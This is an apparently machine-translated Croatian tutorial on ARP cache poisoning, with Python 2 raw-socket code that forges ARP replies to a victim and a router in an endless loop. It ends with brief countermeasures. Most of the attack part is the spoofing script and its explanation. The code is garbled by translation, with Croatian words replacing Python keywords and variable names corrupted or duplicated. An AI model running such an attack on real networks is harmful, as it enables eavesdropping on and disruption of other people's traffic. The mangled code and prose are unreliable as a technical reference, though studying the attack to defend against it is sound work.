Napad trovanja ARP -om sirovim utičnicama u Pythonu

Sadržaj

Danas ću vas naučiti kako provesti napad trovanja ARP -om (Trovanje ARP predmemorijom). Za to koristit ću sirove utičnice u pythonu, cilj je vidjeti kako ova vrsta utičnica radi, da naučite kako ovaj napad funkcionira ili da možete izvesti testove na svojoj mreži (iako na mreži već postoje alati za to), a ne da ih koristite za zlonamjerne svrhe.

BilješkaUz scapy možete brže i lakše implementirati ovaj posao, no gledanjem ovog vodiča moći ćete koristiti znanje za korištenje knjižnice i to sami, ako bismo to učinili obrnuto, to bi vas koštalo više. Ovdje prikazana metoda radi samo na Linux sustavima.

Mali detalji koje biste trebali znati
ARPTo je protokol za razrješavanje adresa koji se nalazi na mrežnom sloju. Njegova je misija pronaći MAC adresu (fizičku adresu) koja odgovara određenoj IP adresi (mrežna adresa).
ARP predmemorijeSvaki uređaj ima malu memoriju gdje pohranjuje MAC - IP prijevode, to ćemo iskoristiti u ovom napadu. Ova predmemorija postoji jer izbjegava dodatne troškove traženja prijevoda svaki put kada se spojimo na drugi uređaj.

The Rad protokola ARP Jednostavno je, kad nekome pošaljete paket, provjerit će se predmemorija uređaja, ako postoji taj prijevod bit će potrebno za slanje paketa, ako nema ARP -a, poslat će paket za emitiranje (poseban je, ima odredišnu MAC adresu ff: ff: ff: ff: ff: ff), ovaj paket će stići do svih uređaja na mreži, te će "pitati" tko ima traženu IP adresu, svaki uređaj nakon što vidi posebni MAC će pročitati paket, i samo onaj s adresom Pretraženi IP odgovorit će označavajući njegov MAC, u tom trenutku bit će pohranjen u predmemoriji, kako ne bi morali ponovno pitati u sljedećih nekoliko minuta.

The Napad trovanja ARP -om Koristi se za špijuniranje podataka koji prolaze kroz mrežu ili ga možemo koristiti i tako da podaci ne dosegnu odredišta na koja idu. Ovaj se napad sastoji od stalnog slanja ARP paketa u mrežu koji pokazuju da naš MAC odgovara IP -u žrtve i da je naš MAC povezan s IP -om usmjerivača. Pakete moramo stalno slati jer se radi o dinamičkom protokolu, pa se predmemorija mijenja, može se dogoditi da je prijevod izbrisan, ažuriran stvarnim podacima, pa kako bismo bili sigurni da šaljemo pakete svako malo, oni nisu vrlo teški, pa neće normalno preopteretiti mrežu.

BilješkaARP je protokol koji se koristi samo u IPv4, stoga ovaj napad ne vrijedi za IPv6, ali se trovanje može izvesti iskorištavanjem prednosti drugog protokola, poput NDP -a, koji se koristi za otkrivanje "susjeda" u mreži .

Za početak našeg primjera moramo znati IP adrese žrtve i gateway usmjerivača, kao i njegov MAC, možete koristiti nmap za otkrivanje aktivnih uređaja u vašoj mreži, a MAC se može lako dobiti, na primjer Želimo da otrovam predmemoriju adrese 192.168.66.2, koja će biti moja žrtva (virtualni stroj), izvršit ću sljedeće u cmd -u ili terminalu:

 Windows -> Ping 192.168.66.2 -n 1 Unix -> Ping 192.168.66.2 -c 1
-C i -n označavaju da treba poslati samo jedan paket, svaki operacijski sustav ima različite parametre. Kasnije smo stavili:
 harfa
Označit će ARP predmemoriju, stoga možemo vidjeti prijevode koje smo pohranili (a prethodno smo izvršili ping već imamo prijevod sa žrtvom). Moramo učiniti isto s gatewayom usmjerivača:

Zatim ću staviti sve podatke koje moramo imati pri ruci:

  • Žrtva -> 192.168.66.2 / MAC: 00: 50: 56: e3: d1: 75
  • Ruter -> IP: 192.168.66.1 / MAC: 00: 50: 56: c0: 00: 08
  • Moje računalo -> IP: 192.168.66.128 / MAC: 00: 0c: 29: 5e: cb: 5f

Stavio sam cijeli kôd i objasnio ga u nastavku, radi za Python u verziji 2.x, ali s malim izmjenama možete ga prilagoditi verziji 3.x:

 import socket vrijeme uvoza, struct, binascii veza = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs (0x0800)) connection.bind (("ens33", socket.htons (0x0800))) macOrigen = "\ x00 \ x0c \ x29 \ x5e \ xcb \ x5f "macVictima =" \ x00 \ x50 \ x56 \ xe3 \ xd1 \ x75 "macRouter =" \ x00 \ x50 \ x56 \ xc0 \ x00 \ x08 "code =" \ x08 \ x06 "commonpackage = macOrigen + code eth1 = macVictima + commonpackage eth2 = macRouter + commonpackage HardwareType =" \ x00 \ x01 "protocolType =" \ x08 \ x00 "HardwareLength =" \ x06 "ProtocolLength =" \ x04 "xCode =" OperationCode = " "OperationCode =" \ x04 "\ x02" SharedHeader = HardwareType + ProtocolType + HardwareLength + ProtocolLength + OperationCode + macOrigen ipRouter = socket.inet_aton ("192.168.66.1") ipVictima = socket.inet_aton + MacVictouterHead = eth1 + MacVictouterCompartida + zaglavlje ipVictima arpRouter = eth2 + SharedHeader + ipVictima + macRouter + ipRouter ispis ("Trovanje predmemorije … za zaustavljanje CTRL + C") dok je True: connection.send (arpRouter) connection.send (arpRouter) connection.send (arPRouter) ) vrijeme.spavanje (1)
Prvo što radimo je uvoz potrebnih knjižnica za koje nije potrebno dodatno objašnjenje. Nastavimo sa sljedećim redovima:
 veza = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs (0x0800)) connection.bind (("ens33", socket.htons (0x0800)))
Prvi redak stvara utičnicu sa sljedećim karakteristikama:
  • PF_PACKET: Slanje i primanje paketa na niskoj razini.
  • SOCK_RAW: Za uporabu sirovih utičnica.
  • utičnica.htons (0x0800): 0x0800 definirat će protokol ETH_P_IP, funkcija ntohs pretvara mrežni format u bajte u odgovarajućem formatu za naše računalo (s znači kratko, odnosno 16 bita, da ima l, bilo bi 32 bita).

A drugi će biti zadužen za stavljanje utičnice za "slušanje":

  • ens33: To je mrežno sučelje na kojem ćemo raditi, vaše može biti eth0, ako koristite ifconfig vidjet ćete ga (pogledajte sliku ispod).
  • utičnica.htons (0x800): isto kao što je prije rečeno.

Redci koje vidimo u nastavku stvorit će Ethernet zaglavlja, za to uspostavljamo MAC -ove i kôd (onaj koji stavljamo pripada ARP protokolu), ako želite saznati više o Ethernetu kliknite ovdje:

 macOrigen = "\ x00 \ x0c \ x29 \ x5e \ xcb \ x5f" macVictima = "\ x00 \ x50 \ x56 \ xe3 \ xd1 \ x75" macRouter = "\ x00 \ x50 \ x56 \ xc0 \ x00 \ x08" kod = "\ x08 \ x06" commonpackage = macSource + code eth1 = macVictima + commonpackage eth2 = macRouter + commonpackage
Sljedeći dio koda okuplja ARP pakete, da biste pogledali strukturu možete posjetiti sljedeću vezu i otići na odjeljak o strukturi paketa. Operacijski kôd \ x00 \ x02 označava da je to paket odgovora (da je 1 to bi bio zahtjev), a funkcija socket.inet_aton () pretvara IPv4 adresu u 32-bitni binarni format. Kao što ste vidjeli u prethodnom kodu, a sada za stvaranje paketa povezujemo njegove dijelove.
 HardwareType = "\ x00 \ x01" ProtocolType = "\ x08 \ x00" HardwareLength = "\ x06" ProtocolLength = "\ x04" OperationCode = "\ x00 \ x02" Dijeljeno zaglavlje = HardwareType + ProtocolType + HardwareLength + Operating ProtocolProtocolLength + = socket.inet_aton ("192.168.66.1") ipVictima = socket.inet_aton ("192.168.66.2") arpVictima = eth1 + zajedničko zaglavlje + ipRouter + macVictima + ipVictima arpRouter = eth2 + zajedničko zaglavlje + ipVicter + maR
Posljednji dio koda prikazuje poruku da zna da radi i ulazi u beskonačnu petlju koja će slati pakete koji će otrovati predmemoriju naše žrtve i gateway usmjerivača, to čini svaku sekundu otkako imamo san.
 print ("Otrovanje predmemorije … za zaustavljanje CTRL + C") dok je True: connection.send (arpRouter) connection.send (arpVictima) time.sleep (1)
Pogledajmo kako izgleda izvršavanje programa (moramo pokrenuti kao root korisnik):

Ako pogledamo žrtvinu predmemoriju, možemo vidjeti da je njezina IP adresa sada povezana s MAC -om napadača:

Protumjere

  • Koristiti statičke ARP tablice, ručno dodajemo unose i ne dopuštamo da se razlikuju.
  • Savjetovati Obrnuti ARP, ovaj protokol će vratiti IP adresu s MAC -a, pa ako vrati više od jedne IP adrese, vjerojatno smo lažni.

Ove mjere zahtijevaju minimalno znanje, pa ih neće svi moći provesti, ali konzultiranjem našeg odjeljka o pitanjima IT sigurnosti ili vodiča zasigurno ćete pronaći pomoć.

U slučaju da želite kôd, ovdje je poštanski broj:

Preuzmite kôd ArpPoisoning.zip 579 bajtova 116 preuzimanja

Je li vam se svidio i pomogao ovaj vodič?Autor možete nagraditi pritiskom na ovaj gumb kako biste mu dali pozitivan bod
wave wave wave wave wave